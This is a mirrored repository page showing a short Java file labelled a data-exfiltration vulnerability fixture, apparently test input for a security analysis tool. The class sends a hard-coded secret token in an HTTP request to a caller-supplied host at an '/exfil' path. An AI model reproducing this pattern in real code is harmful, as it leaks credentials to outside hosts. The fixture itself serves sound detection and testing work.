mirror of
https://github.com/elicpeter/nyx.git
synced 2026-06-12 19:55:14 +02:00
14 lines
439 B
Java
14 lines
439 B
Java
|
|
// Phase 11 (Track J.9) — Java DATA_EXFIL vuln fixture.
|
||
|
|
import java.net.HttpURLConnection;
|
||
|
|
import java.net.URL;
|
||
|
|
|
||
|
|
public class Vuln {
|
||
|
|
public static void run(String host) throws Exception {
|
||
|
|
String secret = "alice-creds";
|
||
|
|
URL url = new URL("http://" + host + "/exfil?token=" + secret);
|
||
|
|
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
|
||
|
|
conn.connect();
|
||
|
|
conn.disconnect();
|
||
|
|
}
|
||
|
|
}
|